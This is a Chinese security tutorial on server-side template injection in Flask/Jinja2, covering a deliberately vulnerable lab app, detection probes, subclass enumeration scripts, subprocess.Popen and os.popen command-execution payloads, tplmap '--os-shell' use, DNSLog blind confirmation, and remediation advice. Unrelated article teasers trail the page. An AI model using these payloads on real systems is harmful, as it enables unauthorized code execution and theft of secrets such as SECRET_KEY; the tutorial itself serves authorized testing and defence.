news 2026/10/22 16:12:52

SSTI模板注入深入解析:Python Web安全中的漏洞原理、利用与修复

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
SSTI模板注入深入解析:Python Web安全中的漏洞原理、利用与修复

前段时间给某电商平台做授权测试,注册了一个普通账号后,在收货人昵称的位置输入了一段测试数据——{{7*7}}。结果页面底部直接渲染出了49。那一刻我就知道,这个站点存在SSTI模板注入,对应模板渲染点完全没做隔离。如果你也在做Web安全方向的事,Python安全里最值得抠的一块就是SSTI。这篇内容是我系列学习笔记的第七十讲整理,重点围绕Python安全、SSTI模板注入,以及配套的项目工具三块展开,适合刚接触模板注入、想把原理和利用链路打通的安全测试人员,也适合后端开发同学用来理解为什么模板拼接这么危险。

1. Python安全为什么值得单独开一讲

1.1 Python Web框架把问题集中到了几个点上

Python在Web后端的占比很高,Flask、Django、FastAPI这些框架用起来很顺手,但安全问题也非常集中。SQL注入要有数据库操作,SSRF要有请求外部资源的入口,命令注入要有拼接shell的地方,而SSTI模板注入通常就藏在页面渲染环节。

我自己的学习路径是先把传统Web漏洞过了一遍,再回头专门啃Python安全。原因很简单:传统漏洞是"别人写好的代码有洞,你去触发它",而Python安全更多时候是"框架太灵活,开发者自己把控制权交出去了"。比如Flask默认带Jinja2模板引擎,页面可以用字符串拼接渲染,也可以从模板文件渲染。很多开发图省事,把用户输入直接格式化进模板字符串,这就是SSTI的温床。

安全人员学Python安全,不是要通读源码,而是要搞清楚几个关键面:模板渲染点、反序列化入口、命令执行点、对象属性暴露面。这一讲在模板渲染点上挖到底,连锁反应会牵扯出命令执行和文件读取,所以性价比很高。

1.2 学习SSTI之前需要储备的基础

想把SSTI玩明白,不需要多深的基础,但有几个前置概念必须懂:

  • 模板引擎的作用:把静态HTML结构和动态数据合并成最终页面。
  • Jinja2核心语法:{{ 变量或表达式 }} 用于输出,{% 逻辑语句 %} 用于控制流。
  • Python对象基础:类、实例、属性、方法,以及内置的__class__、mro、__subclasses__这些魔术属性。
  • HTTP工具基本功:至少会用Burp Suite抓包、改包、重放请求。

我当时为了练手搭了一个本地漏洞环境,过程很简单,几分钟就能跑起来:

python3 -m venv ssti_lab source ssti_lab/bin/activate pip install flask

然后写一个最简Flask应用,这个应用的写法模拟了真实项目中常见的危险拼接:

from flask import Flask, request, render_template_string app = Flask(__name__) @app.route('/') def index(): name = request.args.get('name', 'guest') return render_template_string('<h1>Hello, %s</h1>' % name) if __name__ == '__main__': app.run(host='0.0.0.0', port=5000, debug=True)

访问 http://127.0.0.1:5000/?name={{7*7}} 如果页面返回 Hello, 49,就说明表达式被当作模板代码执行了。这个环境会贯穿整篇,后面所有payload都可以直接在里面验证。

2. SSTI模板注入:从渲染机制到漏洞成因

2.1 模板引擎到底在做什么

一句话解释模板引擎:你把静态结构和占位符写在一起,模板引擎把占位符替换成真正的数据,最后拼出完整页面。

打个比方,模板像一个打印店里的空白表格,你只要在对应位置填上客户信息,表格就完成了。问题是——如果客户填的内容不是普通文字,而是一段"告诉打印机执行某个动作"的指令呢?打印店老板如果直接把这句话原样当作指令处理,那客户就能操纵打印机干别的活。SSTI就是这种情况。

在Jinja2里,{{ }} 里的内容会被当作Python表达式执行,{% %} 里的内容会被当作控制逻辑执行。正常情况下,这是模板作者用来写动态逻辑的。但如果用户输入能进到模板里,用户就能往{{ }}里塞自己的表达式,等于让模板引擎执行用户写的Python代码。

表达式的执行范围取决于模板引擎能访问到的对象。Jinja2默认会给模板提供一些全局变量,比如config、self、request这些,而且Python对象本身是"一点点扒到底"的——你拿到一个字符串对象,就能顺着它的__class__找到它的类,再从类找到父类,从父类找到所有子类,而所有类最终都会汇聚到object。这个过程就是沙箱逃逸的基础。

2.2 漏洞成因:用户输入从“数据”变成了“代码”

最典型的危险写法就是字符串拼接:

return render_template_string('<h1>Hello, %s</h1>' % name)

这段代码里,开发者想的是"我把名字填进HTML模板里输出"。但实际上,render_template_string接收的是一个完整的模板文本,name的值已经提前被拼接到模板文本里去了。如果name是{{7*7}},那最终传给模板引擎的字符串就变成了:

<h1>Hello, {{7*7}}</h1>

模板引擎看到这个字符串,就会老老实实地把{{7*7}}当作表达式执行,最终输出49。用户输入从"数据"变成了"模板代码",这就是注入的本质。

安全写法其实很简单,把模板和数据分开:

from flask import Flask, request, render_template app = Flask(__name__) @app.route('/') def index(): name = request.args.get('name', 'guest') return render_template('index.html', name=name)

index.html里写成

Hello, {{ name }}

,渲染的时候模板引擎会把name这个变量的值当作字符串输出,即使用户传的是{{7*7}},它也只是被当成普通文本。这是修复SSTI最核心的思路:用户输入永远只当数据,不要让它有机会成为模板代码的一部分。

2.3 不同模板引擎的异同与识别

不只是Jinja2有模板注入。PHP的Twig、Java的Freemarker和Velocity、Ruby的ERB都有类似问题。不同引擎的payload写法不一样,所以第一步要识别目标用的是什么引擎。

我个人总结的识别套路:

测试输入Jinja2/TwigFreemarker
{{7*7}}49不出结果或报错
${7*7}原样输出49
{{7*'7'}}7777777(字符串乘法)报错或49

比如输入{{7*'7'}},Jinja2会输出7777777,因为字符串乘整数得到重复字符串;Twig里如果你接入的是PHP,7*'7'会做类型转换;Freemarker主要吃${}。另外如果页面报错,报错信息里往往会带着引擎名字,比如jinja2.exceptions.UndefinedError,这些都是辨识线索。

识别引擎之后再决定用哪套payload。整篇笔记以Jinja2为主,因为Python Web框架里它最常见,学会了Jinja2,迁移到其他引擎也就是换一套语法的问题。

3. 手把手检测与利用:从验收到逃逸

3.1 三步确认SSTI

第一步,注入特殊符号看反应。输入 {{7*7}} 如果输出49,基本实锤。如果被WAF挡了,换 {%%} 或者 ${} 试试,还可以加注释符 {# #} 看看页面行为有没有变化。

第二步,用带类型语义的测试。比如输入 {{7*'7'}},Jinja2下输出7777777;输入 {{[1,2,3]}},页面会输出 [1, 2, 3] 或者 Python 列表的字符串形态;输入 {{()}},输出空元组。这些都能判断模板是否执行了表达式。

第三步,尝试读取敏感配置。输入 {{config}},如果返回了一串包括SECRET_KEY在内的Flask配置,说明注入点不仅能执行表达式,还能访问到敏感全局对象。从这一步起,漏洞已经从"能算数"升级成"能碰内部数据"了。

确认SSTI之后,真正的重头戏是逃逸。因为模板引擎本身是有沙箱的,直接让你执行系统命令的通道几乎不存在,但Python对象之间的关系给了我们一条顺藤摸瓜的路。

3.2 从模板变量到Python对象的继承链

Python里任何对象都有__class__属性,指向它的类。类的__mro__属性会列出继承链,而链上任意一个类的__subclasses__()方法会返回这个类的所有直接或间接子类。因为所有类最终都继承自object,所以只要能从任何对象出发找到object,就能枚举Python进程里加载的所有类。

在Jinja2模板里,你可以这样拿继承链:

{{''.__class__.__mro__}}

输出大致是 (<class 'str'>, <class 'object'>)。字符串的父类就是object。再往下:

{{''.__class__.__mro__[1].__subclasses__()}}

这会返回一个包含了当前环境下几百个类的列表。列表里往往隐藏着可以执行命令的类,比如subprocess.Popen、os._wrap_close,以及可以在系统上执行任意代码的类。问题在于类在列表里的位置会随环境变化,所以需要枚举下标。

我一般写个小脚本自动找下标:

import requests import re url = 'http://127.0.0.1:5000/' for i in range(0, 700): payload = "{{''.__class__.__mro__[1].__subclasses__()[%d]}}" % i r = requests.get(url, params={'name': payload}) if 'subprocess' in r.text or 'os._wrap_close' in r.text or 'Popen' in r.text: print('[+] index = %d, class = %s' % (i, re.findall(r'<class \'([^\']+)\'>', r.text)[:1]))

脚本思路很简单:向漏洞点逐个注入不同下标的payload,看返回内容里有没有类名特征。环境不同,下标完全不同,所以我从不死记硬背固定数字,现场枚举才是正规军打法。

3.3 常用危险类与RCE利用

找到subprocess.Popen的下标后,就可以构造命令执行链。假设枚举到下标为x,利用Popen执行id命令的payload长这样:

{{''.__class__.__mro__[1].__subclasses__()[x]('id', shell=True, stdout=-1).communicate()}}

这个payload的意思是:从object类里取下标x对应的子类,也就是subprocess.Popen,然后实例化它执行id命令,通过stdout=-1把输出捕获到管道里,再用communicate()拿到执行结果。如果页面回显了当前的uid、gid等信息,就说明已经拿到命令执行权限了。

除了Popen,另一条经典利用路径是找调用链绕过沙箱。比如通过某个类的__globals__属性获取模块全局命名空间,进而import os,再调用os.system或os.popen。不同Python版本、不同框架版本下,能用得上的类差异很大,所以扫下标这种方法最稳,自动化工具也是这么干的。

如果页面不回显执行结果,那就是盲SSTI场景。常见做法是时间延迟测试:让目标执行sleep 5,页面响应慢5秒说明命令可执行。再配合DNSLog,在命令里发起一次DNS请求,外部DNS记录一旦收到请求,就能确认注入成功。这种方式在真实测试里很管用,因为很多模板渲染点不会把命令结果打印出来。

3.4 责任边界:为什么必须先强调授权

上面这些payload打在自家练习环境上没有任何问题,但真实系统的测试必须在授权范围内进行。无论是SRC项目还是公司安排的红队评估,都要有明确的授权书或测试范围。盲打、RCE、文件读取这些都是高影响力操作,一旦在未授权目标上使用,性质就完全不同了。我在实际项目中,能证明漏洞存在就立刻收手,把利用深度控制在漏洞证明范围内,不随便拖数据库或者拿shell。这也是安全从业者最基本的职业底线。

4. 项目工具链配套:从手动到自动

4.1 Burp Suite:定位注入点的第一入口

做SSTI检测不能上来就盲打,得先用Burp Suite把目标梳理清楚。我在本地环境里开着Burp,浏览器流量走127.0.0.1:8080,然后用Repeater逐参数改包。

流程是这样的:先在浏览器的每个输入框、每个GET参数、每个POST字段里填入{{7*7}},再到Burp的HTTP History里看哪些请求和响应值得关注。如果响应里出现了49或者模板报错,立即转Repeater做进一步验证。

参数越多,越要系统化测。我习惯给每个参数编号,比如name、title、content、callback、redirect,一个个测过去。不要把注意力只放在大头参数上,那些不起眼的参数反而更容易被开发者忽略。比如我之前测的一个系统,主登录接口没什么问题,最后在用户头像URL回调参数里发现了模板注入,进口就是Burp里那个不怎么起眼的"next"参数。

4.2 tplmap:自动化SSTI检测与利用

tplmap是专门检测和利用SSTI的自动化工具,基于Python开发,支持Jinja2、Twig、Freemarker等主流引擎。它做的事情,本质上就是我前面手动做的三步:检测表达式执行、识别引擎、尝试多种逃逸链路。

安装和使用:

git clone https://github.com/epinna/tplmap.git cd tplmap pip install -r requirements.txt python tplmap.py -u 'http://127.0.0.1:5000/?name=test' --os-shell

如果注入点有效,tplmap会自动识别引擎并尝试建立命令通道,--os-shell参数会尝试打开一个交互式shell。实际项目里我不一定真的开shell,更多是拿它做自动化验证,确认漏洞存在就够了,因为很多系统加载了WAF,tplmap的固定payload很容易被拦。

工具好用,但也别依赖到底。第一,tplmap对参数位置的覆盖需要手动调整,比如有些参数在JSON请求体里,工具默认不一定能处理。第二,工具链的payload是通用化的,遇到特殊过滤场景就得自己写绕过。我的习惯是工具扫一遍,手动再验一遍,自动化结果只当线索,不直接写进报告。

4.3 DNSLog:解决盲SSTI回显问题

真实世界里的SSTI不是都有回显。有些模板渲染点虽然执行了表达式,但结果不输出到页面上,这时候就需要借助外部通道确认执行结果。DNSLog就是干这个的。

思路:自己在DNSLog平台上拿到一个专属子域名,然后在SSTI payload里构造一个命令,让命令去请求这个子域名。比如通过命令执行发起一条包含自定义标识的DNS查询,如果DNSLog后台收到了记录,就说明命令确实执行了。

这种方法的优势在于,即使目标环境禁止外联HTTP,DNS请求在很多网络架构里依然会被放行。盲打场景下,DNSLog比HTTP回调稳定得多。我一般在payload里加上时间戳参数,防止DNS缓存干扰判断。

4.4 自写脚本批量扫描参数

除了现成工具,我还会写点一次性脚本处理大量参数的检测。思路不难:拿到请求模板,替换每个参数值为固定payload,检查响应特征。

import requests payloads = [ '{{7*7}}', '{{7*\'7\'}}', '{{config}}', '{{""["__class__"]}}' ] url = 'http://127.0.0.1:5000/' for p in payloads: r = requests.get(url, params={'name': p}) if '49' in r.text or '7777777' in r.text or 'SECRET_KEY' in r.text: print('[+] payload: %s -> response length: %d' % (p, len(r.text)))

这只是个雏形。真实场景里我会用Burp把整个请求导出成文件,脚本读取后逐参数替换、逐位置测试,再配合多线程提速。自写脚本最大的价值不是代替工具,而是能精准控制测试覆盖范围,不放过Burp和tplmap覆盖不到的角落。

工具的配合逻辑可以概括成一句话:Burp负责找入口,tplmap负责自动化确认,DNSLog负责解决无回显,自写脚本负责兜底和批量覆盖。

5. 修复方案与安全加固实践

5.1 使用安全的渲染接口

前面已经演示过核心修复方式:避免拼接模板字符串,优先使用render_template加载模板文件,用户输入只作为变量传入。如果业务场景必须使用render_template_string,那就要严格确保没有任何用户可控内容进入模板文本。

我再补一个真实场景分析。之前看过一个内部工单系统,代码里写的是:

return render_template_string(template, **params)

乍一看没问题,模板和参数分离了。但仔细看才发现,template是从数据库读取的配置项,而配置项可以通过管理后台的某个接口被普通用户修改,等于用户间接控制了模板内容。这种间接入口很容易被漏掉。所以修复SSTI不仅要看渲染代码,还要追踪模板文本本身的所有来源路径。

5.2 输入校验与输出编码

除了渲染接口层面,输入校验也要做。如果业务场景里根本不希望用户输入包含{{ }}、{% %}这类模板语法,就趁着入参阶段拦掉。可以用正则白名单校验,比如用户昵称只允许中英文、数字、少量常用符号,直接拒绝模板关键字。

需要强调的是,输出编码不能单独靠autoescape解决。Jinja2的autoescape只负责HTML实体转义,比如把<变成<,但它不会阻止表达式执行。你让模板输出{{77}},转义之后页面显示的文字依然可能是{{77}}的字符串形式,但它已经被当成字符串输出而不是表达式执行了。转义解决的是XSS问题,SSTI的根子还是在"用户输入能不能进模板"。

5.3 上下文隔离与沙箱

如果模板场景确实复杂,比如业务系统需要允许用户自定义模板片段,那就得考虑沙箱隔离。Jinja2支持配置受限环境,可以禁用某些属性和方法:

from jinja2 import Environment from jinja2.sandbox import SandboxedEnvironment env = SandboxedEnvironment()

SandboxedEnvironment相比默认环境,限制了部分魔术属性的访问,能提高逃逸门槛。但沙箱不是绝对安全的,历史上也出过绕过方式,所以沙箱只能作为纵深防御的其中一层,不能当作唯一防线。

权限最小化同样重要。运行Web服务的系统账户如果本身没有多少权限,即使SSTI被打穿导致命令执行,攻击者能做的事情也有限。容器化、只读文件系统、最小化系统用户,这些基础加固都会显著降低漏洞被进一步利用的杀伤力。

5.4 依赖管理与安全基线

框架和模板引擎的版本要定期升级。Jinja2和Flask都在持续修复安全问题,旧版本的沙箱绕过和路径穿越问题可能在升级后就失效了。我见过不少系统,功能没多复杂,架不住依赖好几年不升,结果一个2021年就公开的漏洞还稳稳躺在线上。

上线前的安全测试也应该把SSTI列入用例。开发自测时,除了功能用例,至少加一条"输入{{7*7}}观察是否出现49"的冒烟测试。WAF层面如果有条件,可以针对模板关键字加一条告警规则,记录{{、{%、${等特征出现在请求参数中的行为。不过WAF只能增加绕过成本,不能替代代码修复。

6. 常见问题与排查技巧实录

6.1 测试Payload没有生效

经常遇到的一种情况:输入{{7*7}},页面原样输出,没有变成49。原因可能有三层。第一,模板引擎不接受{{ }}语法,此时换${}、<%= %>等引擎对应语法再试。第二,输入经过了一次HTML实体编码,<、>、{这些符号变成了实体,需要url编码或者想办法绕过过滤。第三,框架层面做了参数校验,payload还没到模板层就被拦截了,可以通过改请求方法、拆分关键字等方式绕过,但既然是修复过的系统,测不出来反而是好事。

我自己的排查顺序是:先确认参数名称和位置,再看响应头里的编码和状态码,最后换不同语法家族分别测试。很多时候不是没有SSTI,而是测试姿势不对。

6.2 有回显但输出被截断

有些页面会把用户输入的长度卡得很死,比如只取前20个字符。我遇到一个案例,输入的payload太长,模板执行了,但结果被截掉,看不到完整类名。解决办法是分段探测:用{{[0]}}这类短payload验证执行,再用较短的表达式读取单条信息,比如拆解成多次请求分别获取不同片段。还可以利用模板的过滤器和切片语法,把输出截断到可控长度。

6.3 枚举不到可用类

同样一份payload,在不同Python版本下能用的类索引完全不同。Python 3.8和Python 3.10的__subclasses__()列表结构差异很大,有些类在旧版本里存在,新版本里被移除了。遇到这种情况别慌,重新枚举即可,但要注意枚举请求的量可能很大,批量脚本里建议控制并发数,避免拖垮目标。

如果连__subclasses__()都调用报错,很可能是模板引擎版本做了限制,比如Jinja2开启了对某些属性的黑名单。这时候需要寻找其他可访问的入口对象,比如request、config、self、url_for这些Jinja2自带全局对象,它们身上往往挂着更多可探索的属性。

6.4 盲打场景处理

盲SSTI最头疼的其实是"不知道有没有执行"。先做时间盲注,比如注入 {{config.class.init.globals['os'].popen('sleep 5').read()}} 这类payload,页面响应慢5秒则说明命令链可走通。再用DNSLog做二次确认。这里有个细节:sleep的执行时间要明显,5秒起步,别用1秒,网络抖动会造成误判。

6.5 工具报错与版本兼容问题

tplmap对目标环境的依赖比较多,本地装了requests、urllib3这些库的版本都可能影响运行。我碰到过只报错不出结果的情况,多半是环境问题而不是目标没有洞。另外,tplmap在遇到WAF或者特殊过滤时成功率会下降,不是工具失效,而是被绕过了。工具输出"Engine not detected"不代表没有注入点,手动用Burp单独验证才靠谱。

排查技巧速查:

现象可能原因处理方向
{{7*7}}原样输出引擎语法不同换${}等其他语法
页面报错但无回显渲染异常被吞用时间延迟确认
__subclasses__枚举失败沙箱或版本限制换入口对象绕路
命令执行无输出盲打场景用DNSLog验证
tplmap识别失败过滤/WAF/环境问题手动验证不依赖工具

我个人的体会是,SSTI真正难的不是记住某一条payload,而是理解对象链背后的逻辑。你知道了类之间的继承关系,知道了__globals__能拿到模块全局命名空间,自然就能组合出适合当前环境的利用链。顺带说一个实战里经常用到的小技巧:在Flask开启debug模式的情况下,SSTI配合读取环境变量和文件内容,有可能进一步获取到Werkzeug的调试器PIN码,直接导致代码执行,这个链路在测试中值得优先验证。不过还是那句老话,所有操作都必须在授权范围内,点到为止,测出问题就收工,这活儿才能长久干下去。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/22 16:12:42

分治法与归并排序:从递归思想到工程实践

很多人在学算法的时候&#xff0c;排序算法背了一堆&#xff0c;冒泡、选择、插入张口就来&#xff0c;但一提到“分治法”三个字&#xff0c;脑子里就只剩一个模糊的概念&#xff1a;好像是把大问题拆小&#xff0c;然后呢&#xff1f;归并排序&#xff08;Merge Sort&#xf…

作者头像 李华
网站建设 2026/10/22 16:12:28

智能体架构演进路线图:从LLM SDK到操作系统级框架

1. 这不是“选框架指南”&#xff0c;而是一张智能体演进路线图你点开这个标题&#xff0c;大概率正站在一个分岔路口&#xff1a;手头有个需要自动处理文档、调度API、做多步推理的业务需求&#xff0c;但面对 LangChain、Pi、DeepSeek Harness、Claude Code 这四个名字&#…

作者头像 李华
网站建设 2026/10/22 16:10:04

Agency Agents:开发团队协作契约的结构化重构

1. 这不是“智能体编排”&#xff0c;而是开发团队工作流的数字孪生重构最近在帮某高校实验室做一次跨学科协作平台的技术咨询&#xff0c;对方提了一个让我停顿三秒的问题&#xff1a;“我们想让AI自动协调前端、后端、测试、UI四类角色的协作节奏——不是写代码&#xff0c;是…

作者头像 李华
网站建设 2026/10/22 16:09:48

Vite会被取代吗?从构建工具性能、生态与迁移成本看技术传言真相

最近几天&#xff0c;几个前端群里突然热闹起来&#xff0c;起因是一张截图&#xff1a;有人煞有介事地说&#xff0c;某主流框架的核心作者开始“强推”一个叫 Vize 的新工具&#xff0c;目标是“干掉 Vite”。我看完第一反应是&#xff0c;前端圈又要开始新一轮“版本焦虑”了…

作者头像 李华
网站建设 2026/10/22 16:09:33

Simulink实现802.11a物理层仿真与BER验证

简介&#xff1a;本资源是一套基于MATLAB/Simulink实现的IEEE 802.11a无线通信物理层完整仿真系统&#xff0c;面向通信工程专业本科生、研究生及无线协议研究者&#xff0c;用于深入理解OFDM调制、自适应编码调制&#xff08;BPSK/QPSK/16-QAM/64-QAM&#xff09;、卷积编码与…

作者头像 李华
网站建设 2026/10/22 16:09:24

手写AI Agent核心模块:意图识别、工具调用与反思机制

1. 这门课不是教你怎么用现成框架&#xff0c;而是带你亲手“长出”一个Agent的神经突触“零基础手写AI Agent系统课&#xff1a;从‘调包侠’到‘造轮子的人’”——这个标题里藏着三个被绝大多数人忽略的关键信号&#xff1a;零基础不是指“什么都不会也能上手”&#xff0c;…

作者头像 李华